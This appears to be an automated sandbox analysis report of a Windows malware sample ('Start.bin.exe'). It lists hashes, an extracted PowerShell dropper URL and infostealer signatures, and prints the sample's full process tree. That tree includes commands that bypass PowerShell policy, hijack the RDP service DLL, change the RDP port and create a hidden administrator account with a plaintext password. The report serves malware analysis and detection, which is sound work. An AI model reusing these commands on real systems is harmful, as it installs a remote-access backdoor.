Analysis
-
max time kernel
69s -
max time network
112s -
platform
windows10_x64 -
resource
win10v20210408 -
submitted
04-07-2021 01:06
Static task
static1
Behavioral task
behavioral1
Sample
Start.bin.exe
Resource
win7v20210410
windows7_x64
0 signatures
0 seconds
General
-
Target
Start.bin.exe
-
Size
472KB
-
MD5
14a480e8136dcbfc14e672544b33be76
-
SHA1
fba00115c76fd3b09fd78d1b49c45d6429ca61f1
-
SHA256
aef92dab31f523e018f6f40e12e0c573dce91f70f5bfed134565bdb764ce8459
-
SHA512
b5091cfe3b3881ca2a7de88aa0ba381cc07387c3cc5d623d1ac491723da15f66b922e23d2a4c379a07114ff1480e2773e9356abca137cafa8ed5cff5ff2113a4
Malware Config
Extracted
Language
ps1
Deobfuscated
URLs
ps1.dropper
https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1
Signatures
-
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
-
Blocklisted process makes network request 9 IoCs
flow pid Process 20 1820 powershell.exe 22 1820 powershell.exe 23 1820 powershell.exe 24 1820 powershell.exe 26 1820 powershell.exe 28 1820 powershell.exe 30 1820 powershell.exe 32 1820 powershell.exe 34 1820 powershell.exe -
Downloads MZ/PE file
-
Executes dropped EXE 1 IoCs
pid Process 1160 u8fLEi2rfe.exe -
Modifies RDP port number used by Windows 1 TTPs
-
Sets DLL path for service in the registry 2 TTPs
-
resource yara_rule behavioral2/files/0x0008000000015534-235.dat upx behavioral2/files/0x00080000000155fd-236.dat upx -
Loads dropped DLL 7 IoCs
pid Process 632 Start.bin.exe 632 Start.bin.exe 632 Start.bin.exe 632 Start.bin.exe 632 Start.bin.exe 4068 Process not Found 4068 Process not Found -
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Drops file in Program Files directory 4 IoCs
description ioc Process File opened for modification C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT powershell.exe File opened for modification C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI powershell.exe File opened for modification C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT powershell.exe File opened for modification C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI powershell.exe -
Drops file in Windows directory 19 IoCs
description ioc Process File created C:\Windows\branding\mediasrv.png powershell.exe File opened for modification C:\Windows\branding\ShellBrd powershell.exe File opened for modification C:\Windows\branding\wupsvc.jpg powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_ane0albs.ydp.ps1 powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_qciy0mn0.hx1.psm1 powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI20EB.tmp powershell.exe File opened for modification C:\Windows\branding\mediasvc.png powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\branding\mediasvc.png powershell.exe File created C:\Windows\branding\wupsvc.jpg powershell.exe File opened for modification C:\Windows\branding\Basebrd powershell.exe File created C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI205A.tmp powershell.exe File opened for modification C:\Windows\branding\mediasrv.png powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI20B9.tmp powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI20C9.tmp powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI20DA.tmp powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\INetCache\counters2.dat powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Delays execution with timeout.exe 1 IoCs
pid Process 3548 timeout.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\windows\CurrentVersion\Internet Settings\Connections powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Description = "This zone contains all Web sites you haven't placed in other zones" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Description = "This zone contains Web sites that could potentially damage your computer or data." powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\DisplayName = "Internet" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Description = "This zone contains all Web sites that are on your organization's intranet." powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\1200 = "0" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\DisplayName = "My Computer" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\CurrentLevel = "66816" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Flags = "1" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\Flags = "33" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\LowIcon = "inetcpl.cpl#005423" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\CurrentLevel = "70912" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\LowIcon = "inetcpl.cpl#005426" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\1200 = "0" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyByPass = "0" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\PMDisplayName = "Internet [Protected Mode]" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\DisplayName = "My Computer" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\Description = "This zone contains all Web sites that are on your organization's intranet." powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\2500 = "3" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Ranges powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2 powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\1200 = "3" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\1400 = "3" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\EnableNegotiate = "1" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4 powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\ powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\PMDisplayName = "My Computer [Protected Mode]" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3 powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\Icon = "inetcpl.cpl#001313" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\1200 = "3" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\Icon = "shell32.dll#0016" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0 powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4 powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\1200 = "3" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\Description = "Your computer" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\https = "3" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\ powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\PMDisplayName = "Computer [Protected Mode]" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\DisplayName = "Trusted sites" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0.map powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1 powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\PMDisplayName = "Local intranet [Protected Mode]" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\Description = "Your computer" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\ powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0" powershell.exe -
Modifies registry key 1 TTPs 1 IoCs
pid Process 632 reg.exe -
Runs net.exe
-
Script User-Agent 4 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 23 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 24 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 26 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 22 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 18 IoCs
pid Process 3956 powershell.exe 3956 powershell.exe 3956 powershell.exe 500 powershell.exe 500 powershell.exe 500 powershell.exe 3428 powershell.exe 3428 powershell.exe 3428 powershell.exe 3548 powershell.exe 3548 powershell.exe 3548 powershell.exe 3956 powershell.exe 3956 powershell.exe 3956 powershell.exe 1820 powershell.exe 1820 powershell.exe 1820 powershell.exe -
Suspicious behavior: LoadsDriver 2 IoCs
pid Process 616 Process not Found 616 Process not Found -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3956 powershell.exe Token: SeDebugPrivilege 500 powershell.exe Token: SeIncreaseQuotaPrivilege 500 powershell.exe Token: SeSecurityPrivilege 500 powershell.exe Token: SeTakeOwnershipPrivilege 500 powershell.exe Token: SeLoadDriverPrivilege 500 powershell.exe Token: SeSystemProfilePrivilege 500 powershell.exe Token: SeSystemtimePrivilege 500 powershell.exe Token: SeProfSingleProcessPrivilege 500 powershell.exe Token: SeIncBasePriorityPrivilege 500 powershell.exe Token: SeCreatePagefilePrivilege 500 powershell.exe Token: SeBackupPrivilege 500 powershell.exe Token: SeRestorePrivilege 500 powershell.exe Token: SeShutdownPrivilege 500 powershell.exe Token: SeDebugPrivilege 500 powershell.exe Token: SeSystemEnvironmentPrivilege 500 powershell.exe Token: SeRemoteShutdownPrivilege 500 powershell.exe Token: SeUndockPrivilege 500 powershell.exe Token: SeManageVolumePrivilege 500 powershell.exe Token: 33 500 powershell.exe Token: 34 500 powershell.exe Token: 35 500 powershell.exe Token: 36 500 powershell.exe Token: SeDebugPrivilege 3428 powershell.exe Token: SeIncreaseQuotaPrivilege 3428 powershell.exe Token: SeSecurityPrivilege 3428 powershell.exe Token: SeTakeOwnershipPrivilege 3428 powershell.exe Token: SeLoadDriverPrivilege 3428 powershell.exe Token: SeSystemProfilePrivilege 3428 powershell.exe Token: SeSystemtimePrivilege 3428 powershell.exe Token: SeProfSingleProcessPrivilege 3428 powershell.exe Token: SeIncBasePriorityPrivilege 3428 powershell.exe Token: SeCreatePagefilePrivilege 3428 powershell.exe Token: SeBackupPrivilege 3428 powershell.exe Token: SeRestorePrivilege 3428 powershell.exe Token: SeShutdownPrivilege 3428 powershell.exe Token: SeDebugPrivilege 3428 powershell.exe Token: SeSystemEnvironmentPrivilege 3428 powershell.exe Token: SeRemoteShutdownPrivilege 3428 powershell.exe Token: SeUndockPrivilege 3428 powershell.exe Token: SeManageVolumePrivilege 3428 powershell.exe Token: 33 3428 powershell.exe Token: 34 3428 powershell.exe Token: 35 3428 powershell.exe Token: 36 3428 powershell.exe Token: SeDebugPrivilege 3548 powershell.exe Token: SeIncreaseQuotaPrivilege 3548 powershell.exe Token: SeSecurityPrivilege 3548 powershell.exe Token: SeTakeOwnershipPrivilege 3548 powershell.exe Token: SeLoadDriverPrivilege 3548 powershell.exe Token: SeSystemProfilePrivilege 3548 powershell.exe Token: SeSystemtimePrivilege 3548 powershell.exe Token: SeProfSingleProcessPrivilege 3548 powershell.exe Token: SeIncBasePriorityPrivilege 3548 powershell.exe Token: SeCreatePagefilePrivilege 3548 powershell.exe Token: SeBackupPrivilege 3548 powershell.exe Token: SeRestorePrivilege 3548 powershell.exe Token: SeShutdownPrivilege 3548 powershell.exe Token: SeDebugPrivilege 3548 powershell.exe Token: SeSystemEnvironmentPrivilege 3548 powershell.exe Token: SeRemoteShutdownPrivilege 3548 powershell.exe Token: SeUndockPrivilege 3548 powershell.exe Token: SeManageVolumePrivilege 3548 powershell.exe Token: 33 3548 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 632 wrote to memory of 1160 632 Start.bin.exe 77 PID 632 wrote to memory of 1160 632 Start.bin.exe 77 PID 632 wrote to memory of 688 632 Start.bin.exe 78 PID 632 wrote to memory of 688 632 Start.bin.exe 78 PID 632 wrote to memory of 688 632 Start.bin.exe 78 PID 688 wrote to memory of 3548 688 cmd.exe 80 PID 688 wrote to memory of 3548 688 cmd.exe 80 PID 688 wrote to memory of 3548 688 cmd.exe 80 PID 1160 wrote to memory of 3956 1160 u8fLEi2rfe.exe 81 PID 1160 wrote to memory of 3956 1160 u8fLEi2rfe.exe 81 PID 3956 wrote to memory of 2284 3956 powershell.exe 83 PID 3956 wrote to memory of 2284 3956 powershell.exe 83 PID 2284 wrote to memory of 3240 2284 csc.exe 84 PID 2284 wrote to memory of 3240 2284 csc.exe 84 PID 3956 wrote to memory of 500 3956 powershell.exe 86 PID 3956 wrote to memory of 500 3956 powershell.exe 86 PID 3956 wrote to memory of 3428 3956 powershell.exe 89 PID 3956 wrote to memory of 3428 3956 powershell.exe 89 PID 3956 wrote to memory of 3548 3956 powershell.exe 91 PID 3956 wrote to memory of 3548 3956 powershell.exe 91 PID 3956 wrote to memory of 1424 3956 powershell.exe 93 PID 3956 wrote to memory of 1424 3956 powershell.exe 93 PID 3956 wrote to memory of 632 3956 powershell.exe 94 PID 3956 wrote to memory of 632 3956 powershell.exe 94 PID 3956 wrote to memory of 200 3956 powershell.exe 95 PID 3956 wrote to memory of 200 3956 powershell.exe 95 PID 3956 wrote to memory of 884 3956 powershell.exe 96 PID 3956 wrote to memory of 884 3956 powershell.exe 96 PID 884 wrote to memory of 3048 884 net.exe 97 PID 884 wrote to memory of 3048 884 net.exe 97 PID 3956 wrote to memory of 2752 3956 powershell.exe 98 PID 3956 wrote to memory of 2752 3956 powershell.exe 98 PID 2752 wrote to memory of 1004 2752 cmd.exe 99 PID 2752 wrote to memory of 1004 2752 cmd.exe 99 PID 1004 wrote to memory of 2588 1004 cmd.exe 100 PID 1004 wrote to memory of 2588 1004 cmd.exe 100 PID 2588 wrote to memory of 2680 2588 net.exe 101 PID 2588 wrote to memory of 2680 2588 net.exe 101 PID 3956 wrote to memory of 4052 3956 powershell.exe 102 PID 3956 wrote to memory of 4052 3956 powershell.exe 102 PID 4052 wrote to memory of 2148 4052 cmd.exe 103 PID 4052 wrote to memory of 2148 4052 cmd.exe 103 PID 2148 wrote to memory of 2204 2148 cmd.exe 104 PID 2148 wrote to memory of 2204 2148 cmd.exe 104 PID 2204 wrote to memory of 2076 2204 net.exe 105 PID 2204 wrote to memory of 2076 2204 net.exe 105 PID 3428 wrote to memory of 860 3428 cmd.exe 109 PID 3428 wrote to memory of 860 3428 cmd.exe 109 PID 860 wrote to memory of 648 860 net.exe 110 PID 860 wrote to memory of 648 860 net.exe 110 PID 3860 wrote to memory of 3600 3860 cmd.exe 113 PID 3860 wrote to memory of 3600 3860 cmd.exe 113 PID 3600 wrote to memory of 2596 3600 net.exe 114 PID 3600 wrote to memory of 2596 3600 net.exe 114 PID 3164 wrote to memory of 668 3164 cmd.exe 117 PID 3164 wrote to memory of 668 3164 cmd.exe 117 PID 668 wrote to memory of 3084 668 net.exe 118 PID 668 wrote to memory of 3084 668 net.exe 118 PID 3680 wrote to memory of 2784 3680 cmd.exe 121 PID 3680 wrote to memory of 2784 3680 cmd.exe 121 PID 2784 wrote to memory of 3724 2784 net.exe 122 PID 2784 wrote to memory of 3724 2784 net.exe 122 PID 3428 wrote to memory of 2244 3428 cmd.exe 125 PID 3428 wrote to memory of 2244 3428 cmd.exe 125
Processes
-
C:\Users\Admin\AppData\Local\Temp\Start.bin.exe"C:\Users\Admin\AppData\Local\Temp\Start.bin.exe"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:632 -
C:\Users\Admin\AppData\Local\Temp\u8fLEi2rfe.exe"C:\Users\Admin\AppData\Local\Temp\u8fLEi2rfe.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1160 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'3⤵
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3956 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\cps03h2g\cps03h2g.cmdline"4⤵
- Suspicious use of WriteProcessMemory
PID:2284 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC50B.tmp" "c:\Users\Admin\AppData\Local\Temp\cps03h2g\CSCC568ED71F7424C6C9AB0ED1679705810.TMP"5⤵PID:3240
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:500
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3428
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3548
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f4⤵PID:1424
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f4⤵
- Modifies registry key
PID:632
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f4⤵PID:200
-
-
C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add4⤵
- Suspicious use of WriteProcessMemory
PID:884 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add5⤵PID:3048
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr4⤵
- Suspicious use of WriteProcessMemory
PID:2752 -
C:\Windows\system32\cmd.execmd /c net start rdpdr5⤵
- Suspicious use of WriteProcessMemory
PID:1004 -
C:\Windows\system32\net.exenet start rdpdr6⤵
- Suspicious use of WriteProcessMemory
PID:2588 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start rdpdr7⤵PID:2680
-
-
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService4⤵
- Suspicious use of WriteProcessMemory
PID:4052 -
C:\Windows\system32\cmd.execmd /c net start TermService5⤵
- Suspicious use of WriteProcessMemory
PID:2148 -
C:\Windows\system32\net.exenet start TermService6⤵
- Suspicious use of WriteProcessMemory
PID:2204 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start TermService7⤵PID:2076
-
-
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f4⤵PID:3724
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f4⤵PID:2156
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\Start.bin.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:688 -
C:\Windows\SysWOW64\timeout.exetimeout /T 10 /NOBREAK3⤵
- Delays execution with timeout.exe
PID:3548
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc 000000 /del1⤵
- Suspicious use of WriteProcessMemory
PID:3428 -
C:\Windows\system32\net.exenet.exe user WgaUtilAcc 000000 /del2⤵
- Suspicious use of WriteProcessMemory
PID:860 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc 000000 /del3⤵PID:648
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc J37PaBqq /add1⤵
- Suspicious use of WriteProcessMemory
PID:3860 -
C:\Windows\system32\net.exenet.exe user WgaUtilAcc J37PaBqq /add2⤵
- Suspicious use of WriteProcessMemory
PID:3600 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc J37PaBqq /add3⤵PID:2596
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD1⤵
- Suspicious use of WriteProcessMemory
PID:3164 -
C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD2⤵
- Suspicious use of WriteProcessMemory
PID:668 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD3⤵PID:3084
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD1⤵
- Suspicious use of WriteProcessMemory
PID:3680 -
C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD2⤵
- Suspicious use of WriteProcessMemory
PID:2784 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD3⤵PID:3724
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD1⤵
- Suspicious use of WriteProcessMemory
PID:3428 -
C:\Windows\system32\net.exenet.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD2⤵PID:2244
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD3⤵PID:2596
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc J37PaBqq1⤵PID:2044
-
C:\Windows\system32\net.exenet.exe user WgaUtilAcc J37PaBqq2⤵PID:2692
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc J37PaBqq3⤵PID:688
-
-
-
C:\Windows\System32\cmd.execmd.exe /C wmic path win32_VideoController get name1⤵PID:3152
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name2⤵
- Modifies data under HKEY_USERS
PID:3724
-
-
C:\Windows\System32\cmd.execmd.exe /C wmic CPU get NAME1⤵PID:2604
-
C:\Windows\System32\Wbem\WMIC.exewmic CPU get NAME2⤵PID:648
-
-
